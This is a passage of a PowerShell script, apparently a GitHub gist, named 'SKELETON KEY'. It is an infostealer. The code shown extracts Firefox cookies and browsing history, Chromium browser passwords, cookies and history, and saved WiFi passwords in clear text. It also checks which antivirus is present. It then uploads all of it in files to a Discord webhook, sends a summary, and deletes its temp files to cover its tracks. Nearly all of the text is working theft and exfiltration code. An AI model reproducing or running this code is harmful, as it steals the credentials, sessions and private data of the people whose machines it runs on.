| Value = if ($r['value']) { $r['value'] } else { '[empty]' } | |
| Path = $r['path'] | |
| Expires = $exp | |
| Secure = if ($r['isSecure']) { 'TRUE' } else { 'FALSE' } | |
| HttpOnly = if ($r['isHttpOnly']) { 'TRUE' } else { 'FALSE' } | |
| } | |
| } | |
| sklog "Firefox cookies: $($out.Count) entries" | |
| return $out | |
| } catch { sklog "Firefox cookies ERROR: $_"; return @() } | |
| finally { Remove-Item $tmpDb -Force -ErrorAction SilentlyContinue } | |
| } | |
| function Get-FirefoxHistory { | |
| $ffProfile = Get-FirefoxProfilePath | |
| if (!$ffProfile) { return @() } | |
| $placesDb = Join-Path $ffProfile 'places.sqlite' | |
| if (!(Test-Path $placesDb)) { return @() } | |
| $tmpDb = "$skTemp\ff_history.db" | |
| try { | |
| try { Copy-Item $placesDb $tmpDb -Force -ErrorAction Stop } | |
| catch { [System.IO.File]::WriteAllBytes($tmpDb, [System.IO.File]::ReadAllBytes($placesDb)) } | |
| $rows = Query-SQLite $tmpDb "SELECT url, title, visit_count, last_visit_date FROM moz_places ORDER BY last_visit_date DESC LIMIT 500" | |
| $out = @() | |
| foreach ($r in $rows) { | |
| $lastVisit = Convert-FirefoxTime ([long]$r['last_visit_date']) | |
| $out += [PSCustomObject]@{ | |
| Url = $r['url'] | |
| Title = $r['title'] | |
| Visits = $r['visit_count'] | |
| LastVisit = $lastVisit | |
| } | |
| } | |
| sklog "Firefox history: $($out.Count) entries" | |
| return $out | |
| } catch { sklog "Firefox history ERROR: $_"; return @() } | |
| finally { Remove-Item $tmpDb -Force -ErrorAction SilentlyContinue } | |
| } | |
| # ==================== 12. WIFI + AV ==================== | |
| function Get-WiFi { | |
| sklog "Scanning WiFi profiles..." | |
| $out = @() | |
| try { | |
| $profiles = netsh wlan show profiles | Select-String ':\s+(.+)$' | ForEach-Object { $_.Matches.Groups[1].Value } | |
| foreach ($ssid in $profiles) { | |
| try { | |
| $detail = netsh wlan show profile name="$ssid" key=clear | Select-String 'Key Content\s+:\s+(.+)$' | |
| $key = if ($detail) { $detail.Matches.Groups[1].Value } else { '[OPEN]' } | |
| $out += [PSCustomObject]@{SSID=$ssid; Password=$key} | |
| } catch {} | |
| } | |
| sklog "WiFi profiles: $($out.Count)" | |
| } catch { sklog "WiFi ERROR: $_" } | |
| return $out | |
| } | |
| function Get-AVInfo { | |
| try { | |
| $av = Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntiVirusProduct -ErrorAction SilentlyContinue | |
| if ($av) { | |
| return ($av | ForEach-Object { "$($_.displayName) (State: $($_.productState))" }) -join " | " | |
| } | |
| } catch {} | |
| try { | |
| $status = Get-MpComputerStatus -ErrorAction SilentlyContinue | |
| if ($status) { return "Windows Defender (RealTime: $($status.RealTimeProtectionEnabled))" } | |
| } catch {} | |
| return 'Unknown / Not detected' | |
| } | |
| # ==================== 13. DISCORD UPLOAD ==================== | |
| function Send-ToDiscord { | |
| param([string]$FilePath, [string]$Description) | |
| if (!(Test-Path $FilePath)) { sklog "Upload skip (no file): $FilePath"; return } | |
| if (!$DiscordUrl -or $DiscordUrl -eq 'YOUR_DISCORD_WEBHOOK_HERE') { sklog "Upload skip (no valid webhook)"; return } | |
| $boundary = [Guid]::NewGuid().ToString() | |
| $lf = "`r`n" | |
| $bodyStart = "--$boundary$lf" + | |
| "Content-Disposition: form-data; name=`"payload_json`"$lf$lf" + | |
| "{`"content`":`"**SKELETON KEY** -- $Description`",`"username`":`"Skeleton Key`"}$lf" + | |
| "--$boundary$lf" + | |
| "Content-Disposition: form-data; name=`"file`"; filename=`"$(Split-Path $FilePath -Leaf)`"$lf$lf" | |
| $bodyEnd = "$lf--$boundary--$lf" | |
| $bodyBytes = [System.Text.Encoding]::UTF8.GetBytes($bodyStart) | |
| $fileBytes = [System.IO.File]::ReadAllBytes($FilePath) | |
| $endBytes = [System.Text.Encoding]::UTF8.GetBytes($bodyEnd) | |
| $fullBody = New-Object byte[] ($bodyBytes.Length + $fileBytes.Length + $endBytes.Length) | |
| [Buffer]::BlockCopy($bodyBytes, 0, $fullBody, 0, $bodyBytes.Length) | |
| [Buffer]::BlockCopy($fileBytes, 0, $fullBody, $bodyBytes.Length, $fileBytes.Length) | |
| [Buffer]::BlockCopy($endBytes, 0, $fullBody, $bodyBytes.Length + $fileBytes.Length, $endBytes.Length) | |
| try { | |
| Invoke-RestMethod -Uri $DiscordUrl -Method Post -ContentType "multipart/form-data; boundary=$boundary" -Body $fullBody -TimeoutSec 30 | Out-Null | |
| sklog "Uploaded to Discord: $Description" | |
| } catch { sklog "Discord upload FAILED: $_" } | |
| } | |
| function Write-ResultsFile { | |
| param([string]$FileName, [array]$Data, [string]$Header) | |
| $path = Join-Path $skOut $FileName | |
| $lines = @() | |
| if ($Header) { $lines += $Header } | |
| if ($Data -and $Data.Count -gt 0) { | |
| $lines += ($Data | ForEach-Object { $_ | Out-String }) -replace '\s+$','' | |
| } else { | |
| $lines += '[No data found]' | |
| } | |
| [System.IO.File]::WriteAllText($path, ($lines -join "`r`n"), [System.Text.Encoding]::UTF8) | |
| sklog "Wrote: $FileName ($((Get-Item $path).Length) bytes)" | |
| } | |
| # ==================== 14. MAIN EXECUTION ==================== | |
| try { | |
| $hostname = $env:COMPUTERNAME | |
| $username = $env:USERNAME | |
| $osInfo = (Get-CimInstance Win32_OperatingSystem).Caption | |
| $avInfo = Get-AVInfo | |
| $timeStr = Get-Date -Format 'yyyy-MM-dd HH:mm:ss' | |
| $sysBanner = "HOST: $hostname`n" + | |
| "USER: $hostname\$username`n" + | |
| "OS: $osInfo`n" + | |
| "AV: $avInfo`n" + | |
| "TIME: $timeStr" | |
| sklog "System: $hostname / $username / $osInfo" | |
| $wifiData = Get-WiFi | |
| $allPasswords = @() | |
| $allCookies = @() | |
| $allHistory = @() | |
| foreach ($browser in $ChromiumBrowsers) { | |
| if (!(Test-Path $browser.Path)) { continue } | |
| sklog "Processing: $($browser.Name)..." | |
| $allPasswords += Get-ChromiumPasswords -BrowserName $browser.Name -UserDataPath $browser.Path | |
| $allCookies += Get-ChromiumCookies -BrowserName $browser.Name -UserDataPath $browser.Path | |
| $allHistory += Get-ChromiumHistory -BrowserName $browser.Name -UserDataPath $browser.Path | |
| } | |
| $ffProfile = Get-FirefoxProfilePath | |
| if ($ffProfile) { | |
| sklog "Processing Firefox: $ffProfile" | |
| $ffPasswords = Get-FirefoxPasswords | |
| $ffCookies = Get-FirefoxCookies | |
| $ffHistory = Get-FirefoxHistory | |
| if ($ffPasswords) { $allPasswords += $ffPasswords | ForEach-Object { [PSCustomObject]@{Url="[Firefox] "+$_.Url; Username=$_.Username; Password=$_.Password} } } | |
| if ($ffCookies) { $allCookies += $ffCookies } | |
| if ($ffHistory) { $allHistory += $ffHistory } | |
| } | |
| Write-ResultsFile -FileName 'system.txt' -Data @($sysBanner) -Header '' | |
| Write-ResultsFile -FileName 'wifi.txt' -Data $wifiData -Header "SSID`tPassword`n---`t---" | |
| Write-ResultsFile -FileName 'passwords.txt' -Data $allPasswords -Header "URL`tUsername`tPassword`n---`t---`t---" | |
| Write-ResultsFile -FileName 'cookies.txt' -Data $allCookies -Header "Host`tName`tValue`tPath`tExpires`tSecure`tHttpOnly`n---`t---`t---`t---`t---`t---`t---" | |
| Write-ResultsFile -FileName 'history.txt' -Data $allHistory -Header "URL`tTitle`tVisits`tLastVisit`n---`t---`t---`t---" | |
| sklog "Uploading to Discord..." | |
| Send-ToDiscord -FilePath "$skOut\system.txt" -Description "System Info" | |
| Send-ToDiscord -FilePath "$skOut\wifi.txt" -Description "WiFi Passwords" | |
| Send-ToDiscord -FilePath "$skOut\passwords.txt" -Description "Browser Passwords ($($allPasswords.Count) entries)" | |
| Send-ToDiscord -FilePath "$skOut\cookies.txt" -Description "Browser Cookies ($($allCookies.Count) entries)" | |
| Send-ToDiscord -FilePath "$skOut\history.txt" -Description "Browser History ($($allHistory.Count) entries)" | |
| $pwCount = $allPasswords.Count | |
| $ckCount = $allCookies.Count | |
| $hiCount = $allHistory.Count | |
| $wfCount = $wifiData.Count | |
| $summaryText = "**SKELETON KEY - Extraction Complete**" + "``````" + $sysBanner + "``````" + | |
| "PASSWORDS : $pwCount entries" + "`n" + | |
| "COOKIES : $ckCount entries" + "`n" + | |
| "HISTORY : $hiCount entries" + "`n" + | |
| "WIFI : $wfCount profiles" | |
| if ($DiscordUrl -and $DiscordUrl -ne 'YOUR_DISCORD_WEBHOOK_HERE') { | |
| try { | |
| Invoke-RestMethod -Uri $DiscordUrl -Method Post -Body @{content=$summaryText} -TimeoutSec 10 | Out-Null | |
| sklog "Summary sent to Discord" | |
| } catch { sklog "Summary upload FAILED: $_" } | |
| } | |
| sklog "=== EXTRACTION COMPLETE ===" | |
| } catch { | |
| sklog "FATAL ERROR: $_" | |
| } finally { | |
| Send-ToDiscord -FilePath $skLog -Description "Debug Log" | |
| '' | Out-File -FilePath $skSig -Force -Encoding ASCII | |
| Start-Sleep -Seconds 2 | |
| try { $animProc.Kill() } catch {} | |
| Remove-Item $skTemp -Recurse -Force -ErrorAction SilentlyContinue | |
| Remove-Item $skSig -Force -ErrorAction SilentlyContinue | |
| } |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment